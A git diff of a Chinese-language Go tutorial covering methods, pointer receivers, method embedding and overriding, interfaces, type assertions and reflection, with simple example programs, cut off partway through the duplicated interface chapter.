通过这些内容,我们可以设计出基本的面向对象的程序了,但是Go里面的面向对象是如此的简单,没有任何的私有、公有关键字,通过大小写来实现(大写开头的为共有,小写开头的为私有),方法也同样适用这个原则。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [struct类型](<02.4.md>)
|
||||
* 下一节: [interface](<02.6.md>)
|
||||
# 2.5 面向对象
|
||||
前面两章我们介绍了函数和struct,那你是否想过函数当作struct的字段一样来处理呢?今天我们就讲解一下函数的另一种形态,带有接收者的函数,我们称为`method`
|
||||
|
||||
## method
|
||||
现在假设有这么一个场景,你定义了一个struct叫做长方形,你现在想要计算他的面积,那么按照我们一般的思路应该会用下面的方式来实现
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Rectangle struct {
|
||||
width, height float64
|
||||
}
|
||||
|
||||
func area(r Rectangle) float64 {
|
||||
return r.width*r.height
|
||||
}
|
||||
|
||||
func main() {
|
||||
r1 := Rectangle{12, 2}
|
||||
r2 := Rectangle{9, 4}
|
||||
fmt.Println("Area of r1 is: ", area(r1))
|
||||
fmt.Println("Area of r2 is: ", area(r2))
|
||||
}
|
||||
|
||||
这段代码可以计算出来长方形的面积,但是area()不是作为Rectangle的方法实现的(类似面向对象里面的方法),而是将Rectangle的对象(如r1,r2)作为参数传入函数计算面积的。
|
||||
|
||||
这样实现当然没有问题咯,但是当需要增加圆形、正方形、五边形甚至其它多边形的时候,你想计算他们的面积的时候怎么办啊?那就只能增加新的函数咯,但是函数名你就必须要跟着换了,变成`area_rectangle, area_circle, area_triangle...`
|
||||
|
||||
像下图所表示的那样, 椭圆代表函数, 而这些函数并不从属于struct(或者以面向对象的术语来说,并不属于class),他们是单独存在于struct外围,而非在概念上属于某个struct的。
|
||||
|
||||

|
||||
|
||||
图2.8 方法和struct的关系图
|
||||
|
||||
很显然,这样的实现并不优雅,并且从概念上来说"面积"是"形状"的一个属性,它是属于这个特定的形状的,就像长方形的长和宽一样。
|
||||
|
||||
基于上面的原因所以就有了`method`的概念,`method`是附属在一个给定的类型上的,他的语法和函数的声明语法几乎一样,只是在`func`后面增加了一个receiver(也就是method所依从的主体)。
|
||||
|
||||
用上面提到的形状的例子来说,method `area()` 是依赖于某个形状(比如说Rectangle)来发生作用的。Rectangle.area()的发出者是Rectangle, area()是属于Rectangle的方法,而非一个外围函数。
|
||||
|
||||
更具体地说,Rectangle存在字段length 和 width, 同时存在方法area(), 这些字段和方法都属于Rectangle。
|
||||
|
||||
用Rob Pike的话来说就是:
|
||||
|
||||
>"A method is a function with an implicit first argument, called a receiver."
|
||||
|
||||
method的语法如下:
|
||||
|
||||
func (r ReceiverType) funcName(parameters) (results)
|
||||
|
||||
下面我们用最开始的例子用method来实现:
|
||||
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
)
|
||||
|
||||
type Rectangle struct {
|
||||
width, height float64
|
||||
}
|
||||
|
||||
type Circle struct {
|
||||
radius float64
|
||||
}
|
||||
|
||||
func (r Rectangle) area() float64 {
|
||||
return r.width*r.height
|
||||
}
|
||||
|
||||
func (c Circle) area() float64 {
|
||||
return c.radius * c.radius * math.Pi
|
||||
}
|
||||
|
||||
|
||||
func main() {
|
||||
r1 := Rectangle{12, 2}
|
||||
r2 := Rectangle{9, 4}
|
||||
c1 := Circle{10}
|
||||
c2 := Circle{25}
|
||||
|
||||
fmt.Println("Area of r1 is: ", r1.area())
|
||||
fmt.Println("Area of r2 is: ", r2.area())
|
||||
fmt.Println("Area of c1 is: ", c1.area())
|
||||
fmt.Println("Area of c2 is: ", c2.area())
|
||||
}
|
||||
|
||||
|
||||
|
||||
在使用method的时候重要注意几点
|
||||
|
||||
- 虽然method的名字一模一样,但是如果接收者不一样,那么method就不一样
|
||||
- method里面可以访问接收者的字段
|
||||
- 调用method通过`.`访问,就像struct里面访问字段一样
|
||||
|
||||
图示如下:
|
||||
|
||||

|
||||
|
||||
图2.9 不同struct的method不同
|
||||
|
||||
在上例,method area() 分别属于Rectangle和Circle, 于是他们的 Receiver 就变成了Rectangle 和 Circle, 或者说,这个area()方法 是由 Rectangle/Circle 发出的。
|
||||
|
||||
>值得说明的一点是,图示中method用虚线标出,意思是此处方法的Receiver是以值传递,而非引用传递,是的,Receiver还可以是指针, 两者的差别在于, 指针作为Receiver会对实例对象的内容发生操作,而普通类型作为Receiver仅仅是以副本作为操作对象,并不对原实例对象发生操作。后文对此会有详细论述。
|
||||
|
||||
那是不是method只能作用在struct上面呢?当然不是咯,他可以定义在任何你自定义的类型、内置类型、struct等各种类型上面。这里你是不是有点迷糊了,什么叫自定义类型,自定义类型不就是struct嘛,不是这样的哦,struct只是自定义类型里面一种比较特殊的类型而已,还有其他自定义类型申明,可以通过如下这样的申明来实现。
|
||||
|
||||
type typeName typeLiteral
|
||||
|
||||
请看下面这个申明自定义类型的代码
|
||||
|
||||
type ages int
|
||||
|
||||
type money float32
|
||||
|
||||
type months map[string]int
|
||||
|
||||
m := months {
|
||||
"January":31,
|
||||
"February":28,
|
||||
...
|
||||
"December":31,
|
||||
}
|
||||
|
||||
看到了吗?简单的很吧,这样你就可以在自己的代码里面定义有意义的类型了,实际上只是一个定义了一个别名,有点类似于c中的typedef,例如上面ages替代了int
|
||||
|
||||
好了,让我们回到`method`
|
||||
|
||||
你可以在任何的自定义类型中定义任意多的`method`,接下来让我们看一个复杂一点的例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
const(
|
||||
WHITE = iota
|
||||
BLACK
|
||||
BLUE
|
||||
RED
|
||||
YELLOW
|
||||
)
|
||||
|
||||
type Color byte
|
||||
|
||||
type Box struct {
|
||||
width, height, depth float64
|
||||
color Color
|
||||
}
|
||||
|
||||
type BoxList []Box //a slice of boxes
|
||||
|
||||
func (b Box) Volume() float64 {
|
||||
return b.width * b.height * b.depth
|
||||
}
|
||||
|
||||
func (b *Box) SetColor(c Color) {
|
||||
b.color = c
|
||||
}
|
||||
|
||||
func (bl BoxList) BiggestsColor() Color {
|
||||
v := 0.00
|
||||
k := Color(WHITE)
|
||||
for _, b := range bl {
|
||||
if b.Volume() > v {
|
||||
v = b.Volume()
|
||||
k = b.color
|
||||
}
|
||||
}
|
||||
return k
|
||||
}
|
||||
|
||||
func (bl BoxList) PaintItBlack() {
|
||||
for i, _ := range bl {
|
||||
bl[i].SetColor(BLACK)
|
||||
}
|
||||
}
|
||||
|
||||
func (c Color) String() string {
|
||||
strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
|
||||
return strings[c]
|
||||
}
|
||||
|
||||
func main() {
|
||||
boxes := BoxList {
|
||||
Box{4, 4, 4, RED},
|
||||
Box{10, 10, 1, YELLOW},
|
||||
Box{1, 1, 20, BLACK},
|
||||
Box{10, 10, 1, BLUE},
|
||||
Box{10, 30, 1, WHITE},
|
||||
Box{20, 20, 20, YELLOW},
|
||||
}
|
||||
|
||||
fmt.Printf("We have %d boxes in our set\n", len(boxes))
|
||||
fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
|
||||
fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String())
|
||||
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
|
||||
|
||||
fmt.Println("Let's paint them all black")
|
||||
boxes.PaintItBlack()
|
||||
fmt.Println("The color of the second one is", boxes[1].color.String())
|
||||
|
||||
fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String())
|
||||
}
|
||||
|
||||
上面的代码通过const定义了一些常量,然后定义了一些自定义类型
|
||||
|
||||
- Color作为byte的别名
|
||||
- 定义了一个struct:Box,含有三个长宽高字段和一个颜色属性
|
||||
- 定义了一个slice:BoxList,含有Box
|
||||
|
||||
然后以上面的自定义类型为接收者定义了一些method
|
||||
|
||||
- Volume()定义了接收者为Box,返回Box的容量
|
||||
- SetColor(c Color),把Box的颜色改为c
|
||||
- BiggestsColor()定在在BoxList上面,返回list里面容量最大的颜色
|
||||
- PaintItBlack()把BoxList里面所有Box的颜色全部变成黑色
|
||||
- String()定义在Color上面,返回Color的具体颜色(字符串格式)
|
||||
|
||||
上面的代码通过文字描述出来之后是不是很简单?我们一般解决问题都是通过问题的描述,去写相应的代码实现。
|
||||
|
||||
### 指针作为receiver
|
||||
现在让我们回过头来看看SetColor这个method,它的receiver是一个指向Box的指针,是的,你可以使用*Box。想想为啥要使用指针而不是Box本身呢?
|
||||
|
||||
我们定义SetColor的真正目的是想改变这个Box的颜色,如果不传Box的指针,那么SetColor接受的其实是Box的一个copy,也就是说method内对于颜色值的修改,其实只作用于Box的copy,而不是真正的Box。所以我们需要传入指针。
|
||||
|
||||
这里可以把receiver当作method的第一个参数来看,然后结合前面函数讲解的传值和传引用就不难理解
|
||||
|
||||
这里你也许会问了那SetColor函数里面应该这样定义`*b.Color=c`,而不是`b.Color=c`,因为我们需要读取到指针相应的值。
|
||||
|
||||
你是对的,其实Go里面这两种方式都是正确的,当你用指针去访问相应的字段时(虽然指针没有任何的字段),Go知道你要通过指针去获取这个值,看到了吧,Go的设计是不是越来越吸引你了。
|
||||
|
||||
也许细心的读者会问这样的问题,PaintItBlack里面调用SetColor的时候是不是应该写成`(&bl[i]).SetColor(BLACK)`,因为SetColor的receiver是*Box,而不是Box。
|
||||
|
||||
你又说对的,这两种方式都可以,因为Go知道receiver是指针,他自动帮你转了。
|
||||
|
||||
也就是说:
|
||||
>如果一个method的receiver是*T,你可以在一个T类型的实例变量V上面调用这个method,而不需要&V去调用这个method
|
||||
|
||||
类似的
|
||||
>如果一个method的receiver是T,你可以在一个*T类型的变量P上面调用这个method,而不需要 *P去调用这个method
|
||||
|
||||
所以,你不用担心你是调用的指针的method还是不是指针的method,Go知道你要做的一切,这对于有多年C/C++编程经验的同学来说,真是解决了一个很大的痛苦。
|
||||
|
||||
### method继承
|
||||
前面一章我们学习了字段的继承,那么你也会发现Go的一个神奇之处,method也是可以继承的。如果匿名字段实现了一个method,那么包含这个匿名字段的struct也能调用该method。让我们来看下面这个例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human //匿名字段
|
||||
school string
|
||||
}
|
||||
|
||||
type Employee struct {
|
||||
Human //匿名字段
|
||||
company string
|
||||
}
|
||||
|
||||
//在human上面定义了一个method
|
||||
func (h *Human) SayHi() {
|
||||
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
|
||||
}
|
||||
|
||||
func main() {
|
||||
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
|
||||
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
|
||||
|
||||
mark.SayHi()
|
||||
sam.SayHi()
|
||||
}
|
||||
|
||||
### method重写
|
||||
上面的例子中,如果Emplyee想要实现自己的SayHi,怎么办?简单,和匿名字段冲突一样的道理,我们可以在Emplyee上面定义一个method,重写了匿名字段的方法。请看下面的例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human //匿名字段
|
||||
school string
|
||||
}
|
||||
|
||||
type Employee struct {
|
||||
Human //匿名字段
|
||||
company string
|
||||
}
|
||||
|
||||
//Human定义method
|
||||
func (h *Human) SayHi() {
|
||||
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
|
||||
}
|
||||
|
||||
//Employee的method重写Human的method
|
||||
func (e *Employee) SayHi() {
|
||||
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
|
||||
e.company, e.phone) //Yes you can split into 2 lines here.
|
||||
}
|
||||
|
||||
func main() {
|
||||
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
|
||||
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
|
||||
|
||||
mark.SayHi()
|
||||
sam.SayHi()
|
||||
}
|
||||
|
||||
上面的代码设计的是如此的美妙,让人不自觉的为Go的设计惊叹!
|
||||
|
||||
通过这些内容,我们可以设计出基本的面向对象的程序了,但是Go里面的面向对象是如此的简单,没有任何的私有、公有关键字,通过大小写来实现(大写开头的为共有,小写开头的为私有),方法也同样适用这个原则。
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [struct类型](<02.4.md>)
|
||||
* 下一节: [interface](<02.6.md>)
|
||||
790
02.6.md → ebook/02.6.md
Executable file → Normal file
790
02.6.md → ebook/02.6.md
Executable file → Normal file
@@ -1,395 +1,395 @@
|
||||
# 2.6 interface
|
||||
|
||||
## interface
|
||||
Go语言里面设计最精妙的应该算interface,它让面向对象,内容组织实现非常的方便,当你看完这一章,你就会被interface的巧妙设计所折服。
|
||||
### 什么是interface
|
||||
简单的说,interface是一组method的组合,我们通过interface来定义对象的一组行为。
|
||||
|
||||
我们前面一章最后一个例子中Student和Employee都能Sayhi,虽然他们的内部实现不一样,但是那不重要,重要的是他们都能`say hi`
|
||||
|
||||
让我们来继续做更多的扩展,Student和Employee实现另一个方法`Sing`,然后Student实现方法BorrowMoney而Employee实现SpendSalary。
|
||||
|
||||
这样Student实现了三个方法:Sayhi、Sing、BorrowMoney;而Employee实现了Sayhi、Sing、SpendSalary。
|
||||
|
||||
上面这些方法的组合称为interface(被对象Student和Employee实现)。例如Student和Employee都实现了interface:Sayhi和Sing,也就是这两个对象是该interface类型。而Employee没有实现这个interface:Sayhi、Sing和BorrowMoney,因为Employee没有实现BorrowMoney这个方法。
|
||||
### interface类型
|
||||
interface类型定义了一组方法,如果某个对象实现了某个接口的所有方法,则此对象就实现了此接口。详细的语法参考下面这个例子
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human //匿名字段Human
|
||||
school string
|
||||
loan float32
|
||||
}
|
||||
|
||||
type Employee struct {
|
||||
Human //匿名字段Human
|
||||
company string
|
||||
money float32
|
||||
}
|
||||
|
||||
//Human对象实现Sayhi方法
|
||||
func (h *Human) SayHi() {
|
||||
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
|
||||
}
|
||||
|
||||
// Human对象实现Sing方法
|
||||
func (h *Human) Sing(lyrics string) {
|
||||
fmt.Println("La la, la la la, la la la la la...", lyrics)
|
||||
}
|
||||
|
||||
//Human对象实现Guzzle方法
|
||||
func (h *Human) Guzzle(beerStein string) {
|
||||
fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
|
||||
}
|
||||
|
||||
// Employee重载Human的Sayhi方法
|
||||
func (e *Employee) SayHi() {
|
||||
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
|
||||
e.company, e.phone) //Yes you can split into 2 lines here.
|
||||
}
|
||||
|
||||
//Student实现BorrowMoney方法
|
||||
func (s *Student) BorrowMoney(amount float32) {
|
||||
s.loan += amount // (again and again and...)
|
||||
}
|
||||
|
||||
//Employee实现SpendSalary方法
|
||||
func (e *Employee) SpendSalary(amount float32) {
|
||||
e.money -= amount // More vodka please!!! Get me through the day!
|
||||
}
|
||||
|
||||
// 定义interface
|
||||
type Men interface {
|
||||
SayHi()
|
||||
Sing(lyrics string)
|
||||
Guzzle(beerStein string)
|
||||
}
|
||||
|
||||
type YoungChap interface {
|
||||
SayHi()
|
||||
Sing(song string)
|
||||
BorrowMoney(amount float32)
|
||||
}
|
||||
|
||||
type ElderlyGent interface {
|
||||
SayHi()
|
||||
Sing(song string)
|
||||
SpendSalary(amount float32)
|
||||
}
|
||||
|
||||
通过上面的代码我们可以知道,interface可以被任意的对象实现。我们看到上面的Men interface被Human、Student和Employee实现。同理,一个对象可以实现任意多个interface,例如上面的Student实现了Men和YonggChap两个interface。
|
||||
|
||||
最后,任意的类型都实现了空interface(我们这样定义:interface{}),也就是包含0个method的interface。
|
||||
|
||||
### interface值
|
||||
那么interface里面到底能存什么值呢?如果我们定义了一个interface的变量,那么这个变量里面可以存实现这个interface的任意类型的对象。例如上面例子中,我们定义了一个Men interface类型的变量m,那么m里面可以存Human、Student或者Employee值。
|
||||
|
||||
因为m能够持有这三种类型的对象,所以我们可以定义一个包含Men类型元素的slice,这个slice可以被赋予实现了Men接口的任意结构的对象,这个和我们传统意义上面的slice有所不同。
|
||||
|
||||
让我们来看一下下面这个例子
|
||||
|
||||
package main
|
||||
import "fmt"
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human //匿名字段
|
||||
school string
|
||||
loan float32
|
||||
}
|
||||
|
||||
type Employee struct {
|
||||
Human //匿名字段
|
||||
company string
|
||||
money float32
|
||||
}
|
||||
|
||||
//Human实现Sayhi方法
|
||||
func (h Human) SayHi() {
|
||||
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
|
||||
}
|
||||
|
||||
//Human实现Sing方法
|
||||
func (h Human) Sing(lyrics string) {
|
||||
fmt.Println("La la la la...", lyrics)
|
||||
}
|
||||
|
||||
//Employee重载Human的SayHi方法
|
||||
func (e Employee) SayHi() {
|
||||
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
|
||||
e.company, e.phone) //Yes you can split into 2 lines here.
|
||||
}
|
||||
|
||||
// Interface Men被Human,Student和Employee实现
|
||||
// 因为这三个类型都实现了这两个方法
|
||||
type Men interface {
|
||||
SayHi()
|
||||
Sing(lyrics string)
|
||||
}
|
||||
|
||||
func main() {
|
||||
mike := Student{Human{"Mike", 25, "222-222-XXX"}, "MIT", 0.00}
|
||||
paul := Student{Human{"Paul", 26, "111-222-XXX"}, "Harvard", 100}
|
||||
sam := Employee{Human{"Sam", 36, "444-222-XXX"}, "Golang Inc.", 1000}
|
||||
Tom := Employee{Human{"Sam", 36, "444-222-XXX"}, "Things Ltd.", 5000}
|
||||
|
||||
//定义Men类型的变量i
|
||||
var i Men
|
||||
|
||||
//i能存储Student
|
||||
i = mike
|
||||
fmt.Println("This is Mike, a Student:")
|
||||
i.SayHi()
|
||||
i.Sing("November rain")
|
||||
|
||||
//i也能存储Employee
|
||||
i = Tom
|
||||
fmt.Println("This is Tom, an Employee:")
|
||||
i.SayHi()
|
||||
i.Sing("Born to be wild")
|
||||
|
||||
//定义了slice Men
|
||||
fmt.Println("Let's use a slice of Men and see what happens")
|
||||
x := make([]Men, 3)
|
||||
//T这三个都是不同类型的元素,但是他们实现了interface同一个接口
|
||||
x[0], x[1], x[2] = paul, sam, mike
|
||||
|
||||
for _, value := range x{
|
||||
value.SayHi()
|
||||
}
|
||||
}
|
||||
|
||||
通过上面的代码,你会发现interface就是一组抽象方法的集合,它必须由其他非interface类型实现,而不能自我实现, go 通过interface实现了duck-typing:即"当看到一只鸟走起来像鸭子、游泳起来像鸭子、叫起来也像鸭子,那么这只鸟就可以被称为鸭子"。
|
||||
|
||||
### 空interface
|
||||
空interface(interface{})不包含任何的method,正因为如此,所有的类型都实现了空interface。空interface对于描述起不到任何的作用(因为它不包含任何的method),但是空interface在我们需要存储任意类型的数值的时候相当有用,因为它可以存储任意类型的数值。它有点类似于C语言的void*类型。
|
||||
|
||||
// 定义a为空接口
|
||||
var a interface{}
|
||||
var i int = 5
|
||||
s := "Hello world"
|
||||
// a可以存储任意类型的数值
|
||||
a = i
|
||||
a = s
|
||||
|
||||
一个函数把interface{}作为参数,那么他可以接受任意类型的值作为参数,如果一个函数返回interface{},那么也就可以返回任意类型的值。是不是很有用啊!
|
||||
### interface函数参数
|
||||
interface的变量可以持有任意实现该interface类型的对象,这给我们编写函数(包括method)提供了一些额外的思考,我们是不是可以通过定义interface参数,让函数接受各种类型的参数。
|
||||
|
||||
举个例子:fmt.Println是我们常用的一个函数,但是你是否注意到它可以接受任意类型的数据。打开fmt的源码文件,你会看到这样一个定义:
|
||||
|
||||
type Stringer interface {
|
||||
String() string
|
||||
}
|
||||
也就是说,任何实现了String方法的类型都能作为参数被fmt.Println调用,让我们来试一试
|
||||
|
||||
package main
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string
|
||||
}
|
||||
|
||||
// 通过这个方法 Human 实现了 fmt.Stringer
|
||||
func (h Human) String() string {
|
||||
return "❰"+h.name+" - "+strconv.Itoa(h.age)+" years - ✆ " +h.phone+"❱"
|
||||
}
|
||||
|
||||
func main() {
|
||||
Bob := Human{"Bob", 39, "000-7777-XXX"}
|
||||
fmt.Println("This Human is : ", Bob)
|
||||
}
|
||||
现在我们再回顾一下前面的Box示例,你会发现Color结构也定义了一个method:String。其实这也是实现了fmt.Stringer这个interface,即如果需要某个类型能被fmt包以特殊的格式输出,你就必须实现Stringer这个接口。如果没有实现这个接口,fmt将以默认的方式输出。
|
||||
|
||||
//实现同样的功能
|
||||
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
|
||||
fmt.Println("The biggest one is", boxes.BiggestsColor())
|
||||
|
||||
注:实现了error接口的对象(即实现了Error() string的对象),使用fmt输出时,会调用Error()方法,因此不必再定义String()方法了。
|
||||
### interface变量存储的类型
|
||||
|
||||
我们知道interface的变量里面可以存储任意类型的数值(该类型实现了interface)。那么我们怎么反向知道这个变量里面实际保存了的是哪个类型的对象呢?目前常用的有两种方法:
|
||||
|
||||
- Comma-ok断言
|
||||
|
||||
Go语言里面有一个语法,可以直接判断是否是该类型的变量: value, ok = element.(T),这里value就是变量的值,ok是一个bool类型,element是interface变量,T是断言的类型。
|
||||
|
||||
如果element里面确实存储了T类型的数值,那么ok返回true,否则返回false。
|
||||
|
||||
让我们通过一个例子来更加深入的理解。
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Element interface{}
|
||||
type List [] Element
|
||||
|
||||
type Person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
//定义了String方法,实现了fmt.Stringer
|
||||
func (p Person) String() string {
|
||||
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
|
||||
}
|
||||
|
||||
func main() {
|
||||
list := make(List, 3)
|
||||
list[0] = 1 // an int
|
||||
list[1] = "Hello" // a string
|
||||
list[2] = Person{"Dennis", 70}
|
||||
|
||||
for index, element := range list {
|
||||
if value, ok := element.(int); ok {
|
||||
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
|
||||
} else if value, ok := element.(string); ok {
|
||||
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
|
||||
} else if value, ok := element.(Person); ok {
|
||||
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
|
||||
} else {
|
||||
fmt.Println("list[%d] is of a different type", index)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
是不是很简单啊,同时你是否注意到了多个ifs里面,还记得我前面介绍流程里面讲过,if里面允许初始化变量。
|
||||
|
||||
也许你注意到了,我们断言的类型越多,那么ifelse也就越多,所以才引出了下面要介绍的switch。
|
||||
- switch测试
|
||||
|
||||
最好的讲解就是代码例子,现在让我们重写上面的这个实现
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
)
|
||||
|
||||
type Element interface{}
|
||||
type List [] Element
|
||||
|
||||
type Person struct {
|
||||
name string
|
||||
age int
|
||||
}
|
||||
|
||||
//打印
|
||||
func (p Person) String() string {
|
||||
return "(name: " + p.name + " - age: "+strconv.Itoa(p.age)+ " years)"
|
||||
}
|
||||
|
||||
func main() {
|
||||
list := make(List, 3)
|
||||
list[0] = 1 //an int
|
||||
list[1] = "Hello" //a string
|
||||
list[2] = Person{"Dennis", 70}
|
||||
|
||||
for index, element := range list{
|
||||
switch value := element.(type) {
|
||||
case int:
|
||||
fmt.Printf("list[%d] is an int and its value is %d\n", index, value)
|
||||
case string:
|
||||
fmt.Printf("list[%d] is a string and its value is %s\n", index, value)
|
||||
case Person:
|
||||
fmt.Printf("list[%d] is a Person and its value is %s\n", index, value)
|
||||
default:
|
||||
fmt.Println("list[%d] is of a different type", index)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
这里有一点需要强调的是:`element.(type)`语法不能在switch外的任何逻辑里面使用,如果你要在switch外面判断一个类型就使用`comma-ok`。
|
||||
|
||||
### 嵌入interface
|
||||
Go里面真正吸引人的是他内置的逻辑语法,就像我们在学习Struct时学习的匿名字段,多么的优雅啊,那么相同的逻辑引入到interface里面,那不是更加完美了。如果一个interface1作为interface2的一个嵌入字段,那么interface2隐式的包含了interface1里面的method。
|
||||
|
||||
我们可以看到源码包container/heap里面有这样的一个定义
|
||||
|
||||
type Interface interface {
|
||||
sort.Interface //嵌入字段sort.Interface
|
||||
Push(x interface{}) //a Push method to push elements into the heap
|
||||
Pop() interface{} //a Pop elements that pops elements from the heap
|
||||
}
|
||||
|
||||
我们看到sort.Interface其实就是嵌入字段,把sort.Interface的所有method给隐式的包含进来了。也就是下面三个方法
|
||||
|
||||
type Interface interface {
|
||||
// Len is the number of elements in the collection.
|
||||
Len() int
|
||||
// Less returns whether the element with index i should sort
|
||||
// before the element with index j.
|
||||
Less(i, j int) bool
|
||||
// Swap swaps the elements with indexes i and j.
|
||||
Swap(i, j int)
|
||||
}
|
||||
|
||||
另一个例子就是io包下面的 io.ReadWriter ,他包含了io包下面的Reader和Writer两个interface。
|
||||
|
||||
// io.ReadWriter
|
||||
type ReadWriter interface {
|
||||
Reader
|
||||
Writer
|
||||
}
|
||||
|
||||
### 反射
|
||||
Go语言实现了反射,所谓反射就是动态运行时的状态。我们一般用到的包是reflect包。如何运用reflect包,官方的这篇文章详细的讲解了reflect包的实现原理,[laws of reflection](http://golang.org/doc/articles/laws_of_reflection.html)
|
||||
|
||||
使用reflect一般分成三步,下面简要的讲解一下:要去反射是一个类型的值(这些值都实现了空interface),首先需要把它转化成reflect对象(reflect.Type或者reflect.Value,根据不同的情况调用不同的函数)。这两种获取方式如下:
|
||||
|
||||
t := reflect.TypeOf(i) //得到类型的元数据,通过t我们能获取类型定义里面的所有元素
|
||||
v := reflect.ValueOf(i) //得到实际的值,通过v我们获取存储在里面的值,还可以去改变值
|
||||
|
||||
转化为reflect对象之后我们就可以进行一些操作了,也就是将reflect对象转化成相应的值,例如
|
||||
|
||||
tag := t.Elem().Field(0).Tag //获取定义在struct里面的标签
|
||||
name := v.Elem().Field(0).String() //获取存储在第一个字段里面的值
|
||||
|
||||
获取反射值能返回相应的类型和数值
|
||||
|
||||
var x float64 = 3.4
|
||||
v := reflect.ValueOf(x)
|
||||
fmt.Println("type:", v.Type())
|
||||
fmt.Println("kind is float64:", v.Kind() == reflect.Float64)
|
||||
fmt.Println("value:", v.Float())
|
||||
|
||||
最后,反射的话,那么反射的字段必须是可修改的,我们前面学习过传值和传引用,这个里面也是一样的道理,反射的字段必须是可读写的意思是,如果下面这样写,那么会发生错误
|
||||
|
||||
var x float64 = 3.4
|
||||
v := reflect.ValueOf(x)
|
||||
v.SetFloat(7.1)
|
||||
|
||||
如果要修改相应的值,必须这样写
|
||||
|
||||
var x float64 = 3.4
|
||||
p := reflect.ValueOf(&x)
|
||||
v := p.Elem()
|
||||
v.SetFloat(7.1)
|
||||
|
||||
上面只是对反射的简单介绍,更深入的理解还需要自己在编程中不断的实践。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [面向对象](<02.5.md>)
|
||||
* 下一节: [并发](<02.7.md>)
|
||||
# 2.6 interface
|
||||
|
||||
## interface
|
||||
Go语言里面设计最精妙的应该算interface,它让面向对象,内容组织实现非常的方便,当你看完这一章,你就会被interface的巧妙设计所折服。
|
||||
### 什么是interface
|
||||
简单的说,interface是一组method的组合,我们通过interface来定义对象的一组行为。
|
||||
|
||||
我们前面一章最后一个例子中Student和Employee都能Sayhi,虽然他们的内部实现不一样,但是那不重要,重要的是他们都能`say hi`
|
||||
|
||||
让我们来继续做更多的扩展,Student和Employee实现另一个方法`Sing`,然后Student实现方法BorrowMoney而Employee实现SpendSalary。
|
||||
|
||||
这样Student实现了三个方法:Sayhi、Sing、BorrowMoney;而Employee实现了Sayhi、Sing、SpendSalary。
|
||||
|
||||
上面这些方法的组合称为interface(被对象Student和Employee实现)。例如Student和Employee都实现了interface:Sayhi和Sing,也就是这两个对象是该interface类型。而Employee没有实现这个interface:Sayhi、Sing和BorrowMoney,因为Employee没有实现BorrowMoney这个方法。
|
||||
### interface类型
|
||||
interface类型定义了一组方法,如果某个对象实现了某个接口的所有方法,则此对象就实现了此接口。详细的语法参考下面这个例子
|
||||
|
||||
type Human struct {
|
||||
name string
|
||||
age int
|
||||
phone string
|
||||
}
|
||||
|
||||
type Student struct {
|
||||
Human //匿名字段Human
|
||||
school string
|
||||
loan float32
|
||||
}
|
||||
|
||||
type Employee struct {
|
||||
Human //匿名字段Human
|
||||
company string
|
||||
money float32
|
||||
}
|
||||
|
||||
//Human对象实现Sayhi方法
|
||||
func (h *Human) SayHi() {
|
||||
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
|
||||
}
|
||||
|
||||
// Human对象实现Sing方法
|
||||
func (h *Human) Sing(lyrics string) {
|
||||
fmt.Println("La la, la la la, la la la la la...", lyrics)
|
||||
}
|
||||
|
||||
//Human对象实现Guzzle方法
|
||||
func (h *Human) Guzzle(beerStein string) {
|
||||
fmt.Println("Guzzle Guzzle Guzzle...", beerStein)
|
||||
}
|
||||
|
||||
// Employee重载Human的Sayhi方法
|
||||
func (e *Employee) SayHi() {
|
||||
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
|
||||
